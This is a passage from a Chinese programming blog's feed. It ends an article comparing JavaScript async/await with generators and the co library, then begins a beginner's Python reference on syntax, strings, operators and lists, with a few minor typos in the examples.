<p>另一点不同是 co 模块是开发者维护的第三方模块,而 async/await 是 js 语言的一部分。所以你需要将 co 写到 package.json 里,而 async/await 则不需要,不过如果你想支持老旧的浏览器,你就需要配置一下转换器。</p>
<p>stack traces 得到的错误不同。async/await 得到的错误比 generators 要清晰。而且,由于 async/await 是 JavaScript 语言的核心部分,而不是像 co 这样的用户级库,因此将来可能会对 async/await 堆栈跟踪进行更多改进。</p>
<p>这里有个例子展示 async 函数抛出的错误。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">runAsync</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">await</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(resolve => setTimeout(() => resolve(), <span class="number">100</span>))</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">'Oops!'</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// Error: Oops!</span></span><br><span class="line"><span class="comment">// at runAsync (/home/val/test.js:5:9)</span></span><br><span class="line"><span class="comment">// at <anonymous></span></span><br><span class="line">runAsync().catch(error => <span class="built_in">console</span>.error(error.stack))</span><br></pre></td></tr></table></figure>
<p>以下是用 generators 实现的相同功能,注意错误里出现的 <code>onFulfilled()</code> 和 <code>Generator.next()</code> 透漏了 <a href="http://es2015generators.com/" target="_blank" rel="external">co 模块是怎么工作的</a>。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> co = <span class="built_in">require</span>(<span class="string">'co'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> runCo = co.wrap(<span class="function"><span class="keyword">function</span>*(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">yield</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(resolve => setTimeout(() => resolve(), <span class="number">100</span>))</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">'Oops!'</span>)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// Error: Oops!</span></span><br><span class="line"><span class="comment">// at D:\code\js\test\babel-test\src\co_test.js:5:9</span></span><br><span class="line"><span class="comment">// at Generator.next (<anonymous>)</span></span><br><span class="line"><span class="comment">// at onFulfilled (D:\code\js\test\babel-test\node_modules\co\index.js:65:19)</span></span><br><span class="line">runCo().catch(error => <span class="built_in">console</span>.error(error.stack))</span><br></pre></td></tr></table></figure>
<h1 id="Thunks-和-Promise-转换"><a href="#Thunks-和-Promise-转换" class="headerlink" title="Thunks 和 Promise 转换"></a>Thunks 和 Promise 转换</h1><p>async/await 仅仅用于 Promise, 如果用于非 Promise 是没有用的。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">runAsync</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="comment">// res 将会是一个 function</span></span><br><span class="line"> <span class="comment">// 因为 function 不是 promise,所以括号是语法所必需的</span></span><br><span class="line"> <span class="keyword">const</span> res = <span class="keyword">await</span> (cb => cb(<span class="literal">null</span>, <span class="string">'test'</span>))</span><br><span class="line"> <span class="built_in">console</span>.log(res)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">runAsync().catch(error => <span class="built_in">console</span>.error(error.stack))</span><br></pre></td></tr></table></figure>
<p>另一方来看,co 将 yield 的值转成 Promise。当你 yield <a href="https://www.npmjs.com/package/thunkify" target="_blank" rel="external">带有单个参数的函数,即 Node.js 样式的回调</a>,co 会把它转成 promise。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> co = <span class="built_in">require</span>(<span class="string">'co'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> runCo = co.wrap(<span class="function"><span class="keyword">function</span>*(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="comment">// `res` will be a string, because co converts the</span></span><br><span class="line"> <span class="comment">// value you `yield` into a promise. The `yield cb => {}`</span></span><br><span class="line"> <span class="comment">// pattern is called a _thunk_.</span></span><br><span class="line"> <span class="keyword">const</span> res = <span class="keyword">yield</span> cb => cb(<span class="literal">null</span>, <span class="string">'test'</span>)</span><br><span class="line"> <span class="built_in">console</span>.log(res)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line">runCo().catch(error => <span class="built_in">console</span>.error(error.stack))</span><br></pre></td></tr></table></figure>
<p>同样,co 也可以起到 <code>Promise.all()</code> 相似的效果。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">runAsync</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="comment">// 用 co 的话,你可以写</span></span><br><span class="line"> <span class="comment">// `yield [Promise.resolve('v1'), Promise.resolve('v2')]`</span></span><br><span class="line"> <span class="keyword">const</span> res = <span class="keyword">await</span> <span class="built_in">Promise</span>.all([</span><br><span class="line"> <span class="built_in">Promise</span>.resolve(<span class="string">'v1'</span>),</span><br><span class="line"> <span class="built_in">Promise</span>.resolve(<span class="string">'v2'</span>);</span><br><span class="line"> ]);</span><br><span class="line"> <span class="comment">// 'v1 v2'</span></span><br><span class="line"> <span class="built_in">console</span>.log(res[<span class="number">0</span>], res[<span class="number">1</span>]);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h1 id="第三方库的好处"><a href="#第三方库的好处" class="headerlink" title="第三方库的好处"></a>第三方库的好处</h1><p>在许多时候,generators 是 async/await 的超集。用 generators,你可以使用它的一些强大特性转换成你自己的 async/await. Co 内置的 Promise 转换只是冰山一角。举个例子,我曾经建立了一个<a href="https://github.com/vkarpov15/co-rx/blob/master/test/examples.test.js" target="_blank" rel="external">类似 co 的库,该库返回了一个可观察的对象</a>。使用 <a href="https://www.npmjs.com/package/rxjs" target="_blank" rel="external">RxJS</a> 的 filter 运算符,处理错误将非常容易。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> corx = <span class="built_in">require</span>(<span class="string">'./'</span>)</span><br><span class="line"><span class="built_in">require</span>(<span class="string">'rxjs/add/operator/filter'</span>)</span><br><span class="line"></span><br><span class="line">corx(<span class="function"><span class="keyword">function</span>*(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">yield</span> <span class="built_in">Promise</span>.resolve(<span class="string">'Test 1'</span>)</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">yield</span> <span class="built_in">Promise</span>.reject(<span class="string">'Test 2'</span>)</span><br><span class="line"> } <span class="keyword">catch</span> (error) {}</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'Reached the end'</span>)</span><br><span class="line">})</span><br><span class="line"> .filter(v => !!v)</span><br><span class="line"> .subscribe(</span><br><span class="line"> op$ => {</span><br><span class="line"> <span class="comment">// This will print, even though the error was caught, because</span></span><br><span class="line"> <span class="comment">// this callback executes on every single async operation!</span></span><br><span class="line"> op$.subscribe(</span><br><span class="line"> () => {},</span><br><span class="line"> err => <span class="built_in">console</span>.log(<span class="string">'Error occurred'</span>, err)</span><br><span class="line"> )</span><br><span class="line"> },</span><br><span class="line"> error => <span class="built_in">console</span>.log(<span class="string">'This will not print'</span>),</span><br><span class="line"> () => <span class="built_in">console</span>.log(<span class="string">'Done'</span>)</span><br><span class="line"> )</span><br></pre></td></tr></table></figure>
<p>上面的杀手级功能是,当 subscribe() 时,generator 函数中发生的每个异步操作都会获得一个回调。<br>这意味着您可以在不实际更改任何逻辑的情况下,通过 debugging, profiling, error handling 来检测每个单独的异步操作!</p>
<p>这个特性很酷,但是还不足以让我们抛弃 async/await 用 generator。async/await 的优点在于它在大部分时间都满足您的需求,而这个基于 observable 的库实际上将为您解决什么问题?<br>为了使调试起作用,您将需要一种从可观察的 <code>op$</code> 中提取有意义的信息的方法,在一般情况下,除了这种我从来没有找到其他方法。</p>
<p>这就是为什么我要重新看重<a href="https://www.npmjs.com/package/tao-js" target="_blank" rel="external">middleware</a>,将其作为解决跨领域问题的正确工具。</p>
<p>另外,对于 async/await 的适用情况,可观察对象可能并不是很好的选择,因为它们会解释为多个值,甚至可能是无限值的循环。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>async/await 和 generators 乍一看很相似,但两者之间存在许多有意义的差异。</p>
<p>async/await 不需要第三方库,看起来更简洁;generators 通常要配合第三方库使用,但是这些第三方库又提供了很多 async/await 不具备的强大的功能。换句话说,async/await 和 generators 之间的权衡就是简洁与灵活之间的权衡。</p>
<p>作为高级开发人员,您可以在某些情况下从开发人员那里获得有意义的价值,但是大多数情况下,async/await 是更好的选择。</p>
<p><strong> 参考来源:<a href="https://thecodebarbarian.com/the-difference-between-async-await-and-generators" target="_blank" rel="external">thecodebarbarian</a>,转载请注明来自 myt0.com </strong></p>
]]></content>
<summary type="html">
<p>async/await 是 es2017 的重要新特性。async/await 和 es2015 发布的 generators 有很多相似之处。在 <a href="https://stackoverflow.com/questions/36196608/differenc
</summary>
<category term="frontend" scheme="http://myt0.com/categories/frontend/"/>
<category term="frontend" scheme="http://myt0.com/tags/frontend/"/>
<category term="web" scheme="http://myt0.com/tags/web/"/>
<category term="javascript" scheme="http://myt0.com/tags/javascript/"/>
<category term="es6" scheme="http://myt0.com/tags/es6/"/>
</entry>
<entry>
<title>Python简要教程</title>
<link href="http://myt0.com/2019/03/07/Python%E7%AE%80%E8%A6%81%E6%95%99%E7%A8%8B/"/>
<id>http://myt0.com/2019/03/07/Python简要教程/</id>
<published>2019-03-06T17:15:43.000Z</published>
<updated>2020-03-11T12:40:05.523Z</updated>
<content type="html"><![CDATA[<h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>本教程适合有一定编程语言基础的读者,通过快速了解 Python 与其他语言共有的特性与独有的特点来快速掌握 Python,同时作为一个备忘录,许久不用之后快速回忆。</p>
<h3 id="语句结构"><a href="#语句结构" class="headerlink" title="语句结构"></a>语句结构</h3><p>强制以固定缩进代替括号,这是 Python 的特色。<br>缩进不需要固定为 4 空格,但需要保持一致。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 注释以#开头,与shell相同</span></span><br><span class="line"><span class="comment"># if 语句</span></span><br><span class="line"><span class="keyword">if</span> <span class="number">3</span> > <span class="number">2</span>:</span><br><span class="line"> <span class="comment"># 输出</span></span><br><span class="line"> print(<span class="string">"hello world"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 逻辑操作符为 and, or, not 单词,而不是JS中的&&</span></span><br><span class="line"><span class="keyword">if</span> <span class="number">3</span> > <span class="number">2</span> <span class="keyword">and</span> <span class="number">2</span> < <span class="number">4</span>:</span><br><span class="line"> <span class="comment"># 一样可以输出特殊转义字符</span></span><br><span class="line"> print(<span class="string">"\n"</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="number">2</span> > <span class="number">4</span>:</span><br><span class="line"> print(<span class="string">"test"</span>)</span><br></pre></td></tr></table></figure>
<h3 id="变量"><a href="#变量" class="headerlink" title="变量"></a>变量</h3><ol>
<li>变量名与大多数语言一样,只能由数字、字母、下划线组成,且首字符不能是数字,区分大小写。</li>
<li>变量声明赋值一步完成,不用写变量类型,自动根据赋值判断类型。</li>
</ol>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># int类型</span></span><br><span class="line">a = <span class="number">5</span></span><br><span class="line"><span class="comment"># string 类型</span></span><br><span class="line">b = <span class="string">"hello"</span></span><br><span class="line"><span class="comment"># 字符串拼接使用 +</span></span><br><span class="line">print(b + <span class="string">" world"</span>)</span><br><span class="line"><span class="comment"># 输出类型</span></span><br><span class="line">print(type(a)) <span class="comment"># <class 'int'></span></span><br></pre></td></tr></table></figure>
<p>不同类型的变量不能拼接,会报错,这与 JS 不同。<br>需要注意的是 Python 中所有东西都是 object,并且几乎所有对象都有属性和方法。这与 ruby 相似。</p>
<h4 id="数字"><a href="#数字" class="headerlink" title="数字"></a>数字</h4><p>根据赋值不同,数字类型分 3 种:</p>
<ul>
<li>int</li>
<li>float</li>
<li>complex,也就是复数</li>
</ul>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># int</span></span><br><span class="line">a = <span class="number">3</span></span><br><span class="line"><span class="comment"># float</span></span><br><span class="line">b = <span class="number">3.2</span></span><br><span class="line"><span class="comment"># complex</span></span><br><span class="line">c = <span class="number">1j</span></span><br><span class="line"><span class="comment"># 通过type()查看类型</span></span><br><span class="line">print(type(c))</span><br></pre></td></tr></table></figure>
<ul>
<li>进制转换:</li>
</ul>
<p>转换成 10 进制只需要用 int 方法</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 16 转 10</span></span><br><span class="line"><span class="meta">>>> </span>int(<span class="string">'0x22'</span>, <span class="number">16</span>)</span><br><span class="line"><span class="number">34</span></span><br><span class="line"><span class="comment"># 8 转 10</span></span><br><span class="line"><span class="meta">>>> </span>int(<span class="string">'0o22'</span>, <span class="number">8</span>)</span><br><span class="line"><span class="number">18</span></span><br><span class="line"><span class="comment"># 2 转 10</span></span><br><span class="line"><span class="meta">>>> </span>int(<span class="string">'1111'</span>, <span class="number">2</span>)</span><br><span class="line"><span class="number">15</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 10 转 2</span></span><br><span class="line"><span class="meta">>>> </span>bin(<span class="number">3</span>)</span><br><span class="line"><span class="string">'0b11'</span></span><br><span class="line"><span class="comment"># 10 转 16</span></span><br><span class="line"><span class="meta">>>> </span>hex(<span class="number">17</span>)</span><br><span class="line"><span class="string">'0x11'</span></span><br><span class="line"><span class="comment"># 10 转 8</span></span><br><span class="line"><span class="meta">>>> </span>oct(<span class="number">9</span>)</span><br><span class="line"><span class="string">'011'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 8 转 16</span></span><br><span class="line"><span class="meta">>>> </span>oct(<span class="number">0x37</span>)</span><br><span class="line"><span class="string">'0o67'</span></span><br><span class="line"><span class="meta">>>> </span>hex(<span class="number">0o67</span>)</span><br><span class="line"><span class="string">'0x37'</span></span><br></pre></td></tr></table></figure>
<h4 id="字符串"><a href="#字符串" class="headerlink" title="字符串"></a>字符串</h4><p>单引号和双引号都可以表示字符串,含义是一样的。</p>
<p>字符串可以通过下标来当做字符数组使用,比如</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">a = <span class="string">"hello world"</span></span><br><span class="line">print(a[<span class="number">0</span>]) <span class="comment"># 输出h</span></span><br></pre></td></tr></table></figure>
<p>一些函数:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">" test "</span>.strip()) <span class="comment"># 去除前后空格输出test</span></span><br><span class="line"></span><br><span class="line">print(len(<span class="string">"test"</span>)) <span class="comment"># 输出长度 4</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">"Hello"</span>.lower()) <span class="comment"># 转为小写hello</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">"hello"</span>.upper()) <span class="comment"># 转为大写HELLO</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">"Hello"</span>.replace(<span class="string">"H"</span>, <span class="string">"T"</span>)) <span class="comment"># 替换H为J</span></span><br><span class="line"></span><br><span class="line">print(a.split(<span class="string">","</span>)) <span class="comment"># 类似于js的split,根据指定字符分割为数组,返回['Hello', ' World!'], python里叫这种类型List</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">'12332'</span>.find(<span class="string">'2'</span>, <span class="number">2</span>)) <span class="comment"># 从指定位置开始搜索子字符串, 找不到返回-1,找到返回位置</span></span><br></pre></td></tr></table></figure>
<p>通过 input()函数可以等待控制台输入:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">a = input()</span><br><span class="line">print(a)</span><br></pre></td></tr></table></figure>
<p>修饰符:</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"># unicode编码字符,python3默认字符串编码方式。</span><br><span class="line">u''</span><br><span class="line"># 非转义的原始字符串</span><br><span class="line">r'\n'</span><br><span class="line"># 字节码,只能包含ascii码</span><br><span class="line">b''</span><br><span class="line">type(b'12') 输出 <class 'bytes'></span><br><span class="line"># str 转换成 bytes</span><br><span class="line">bytes('你好', 'utf-8') 相当于 '你好'.encode('utf-8')</span><br><span class="line">输出:b'\xe4\xbd\xa0\xe5\xa5\xbd'</span><br><span class="line"># bytes转回str</span><br><span class="line">bytes.decode(b'\xe4\xbd\xa0\xe5\xa5\xbd')</span><br><span class="line">b'\xe4\xbd\xa0\xe5\xa5\xbd'.decode('utf-8')</span><br><span class="line">str(b'\xe4\xbd\xa0\xe5\xa5\xbd', encoding='utf-8')</span><br><span class="line"></span><br><span class="line"># f表示支持字符串内大括号内的表达式,类似于js中的`${}`</span><br><span class="line">t = [1,2,3]</span><br><span class="line">f'{t[2]}'</span><br><span class="line"></span><br><span class="line"># *号,只能在format时使用,自动展开逐个传入,要求字符串必须大于等于前面的参数个数</span><br><span class="line">'{0}, {1}, {2}'.format(*'123')</span><br><span class="line">'1, 2, 3'</span><br></pre></td></tr></table></figure>
<h4 id="类型转换"><a href="#类型转换" class="headerlink" title="类型转换"></a>类型转换</h4><p>通过类型名加括号强制转换类型,比如 int(‘2’), float(‘1.1’), str(2),转换失败会报错。</p>
<h3 id="运算符"><a href="#运算符" class="headerlink" title="运算符"></a>运算符</h3><h4 id="算数运算符"><a href="#算数运算符" class="headerlink" title="算数运算符"></a>算数运算符</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+</span><br><span class="line">-</span><br><span class="line">*</span><br><span class="line">/</span><br><span class="line">%</span><br><span class="line">** <span class="comment"># 乘方</span></span><br><span class="line">// <span class="comment"># 除完向下取整</span></span><br></pre></td></tr></table></figure>
<h4 id="位运算符"><a href="#位运算符" class="headerlink" title="位运算符"></a>位运算符</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&</span><br><span class="line">|</span><br><span class="line">^ <span class="comment"># 异或</span></span><br><span class="line">~</span><br><span class="line"><<</span><br><span class="line">>></span><br></pre></td></tr></table></figure>
<h4 id="赋值运算符"><a href="#赋值运算符" class="headerlink" title="赋值运算符"></a>赋值运算符</h4><p>同许多语言一样,a += 1 相当于 a = a + 1 ,除了算术运算符,还有一些位运算符也可以</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&=</span><br><span class="line">|=</span><br><span class="line">^=</span><br><span class="line">>>=</span><br><span class="line"><<=</span><br></pre></td></tr></table></figure>
<h4 id="比较运算符"><a href="#比较运算符" class="headerlink" title="比较运算符"></a>比较运算符</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">==</span><br><span class="line">!=</span><br><span class="line">></span><br><span class="line"><</span><br><span class="line">>=</span><br><span class="line"><=</span><br></pre></td></tr></table></figure>
<h4 id="逻辑运算符"><a href="#逻辑运算符" class="headerlink" title="逻辑运算符"></a>逻辑运算符</h4><p>这也算是 python 的特色吧,其他很多语言都是 &&, ||, !</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">and</span></span><br><span class="line"><span class="keyword">or</span></span><br><span class="line"><span class="keyword">not</span></span><br></pre></td></tr></table></figure>
<h4 id="同一性运算符"><a href="#同一性运算符" class="headerlink" title="同一性运算符"></a>同一性运算符</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">is</span> <span class="comment"># 如果两个对象是同一对象返回True,类似于js中的===</span></span><br><span class="line"><span class="keyword">is</span> <span class="keyword">not</span></span><br></pre></td></tr></table></figure>
<h4 id="成员判断运算符"><a href="#成员判断运算符" class="headerlink" title="成员判断运算符"></a>成员判断运算符</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">in</span> <span class="comment"># 如果一个变量在另一个对象当中</span></span><br><span class="line"><span class="keyword">not</span> <span class="keyword">in</span></span><br></pre></td></tr></table></figure>
<h3 id="集合"><a href="#集合" class="headerlink" title="集合"></a>集合</h3><p>Python 中有 4 种集合类型</p>
<h4 id="List"><a href="#List" class="headerlink" title="List"></a>List</h4><p>类似于 JS 中 Array,不同的是,Python List 对象改变值的方法都会更改原始值,因为 Python 是真正面向对象的,其方法都是针对自身做改变。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">ll = [<span class="string">"a"</span>, <span class="string">"b"</span>, <span class="string">"c"</span>]</span><br><span class="line"><span class="comment"># 下标取每一项</span></span><br><span class="line">print(ll[<span class="number">0</span>])</span><br><span class="line"><span class="comment"># 输出长度</span></span><br><span class="line">print(len(ll))</span><br><span class="line"><span class="comment"># 循环每一项</span></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> ll:</span><br><span class="line"> print(x)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 判断是否存在其中</span></span><br><span class="line"><span class="keyword">if</span> <span class="string">"apple"</span> <span class="keyword">in</span> ll:</span><br><span class="line"> print(<span class="string">"Yes, 'apple' is in the fruits list"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 尾部增加</span></span><br><span class="line">ll.append(<span class="string">"d"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定位置增加</span></span><br><span class="line">ll.insert(<span class="number">1</span>, <span class="string">"ff"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 去除指定的值</span></span><br><span class="line">ll.remove(<span class="string">"ff"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 尾部去除</span></span><br><span class="line">ll.pop()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除指定位置的值</span></span><br><span class="line"><span class="keyword">del</span> ll[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除整个list</span></span><br><span class="line"><span class="keyword">del</span> ll</span><br><span class="line"></span><br><span class="line"><span class="comment"># 清空list</span></span><br><span class="line">ll.clear()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用list()构造函数创建</span></span><br><span class="line">ll = list((<span class="string">"a"</span>, <span class="string">"b"</span>, <span class="string">"c"</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接另一数组</span></span><br><span class="line">ll.extend([<span class="string">"d"</span>])</span><br><span class="line"></span><br><span class="line"><span class="comment"># 反转</span></span><br><span class="line">ll.reverse()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 复制一份新的并返回</span></span><br><span class="line">ll.copy()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 排序</span></span><br><span class="line">ll.sort()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 找到指定值的位置</span></span><br><span class="line">ll.index(<span class="string">"2"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算指定值在List中的个数</span></span><br><span class="line">ll.count(<span class="string">"apple"</span>)</span><br></pre></td></tr></table></figure>
<h4 id="Tuple"><a href="#Tuple" class="headerlink" title="Tuple"></a>Tuple</h4><p>Tuple 翻译过来是元组,可以以 List 的方式来取值,循环,但不可更改内容,也不可删除,构造以圆括号构造:</p>
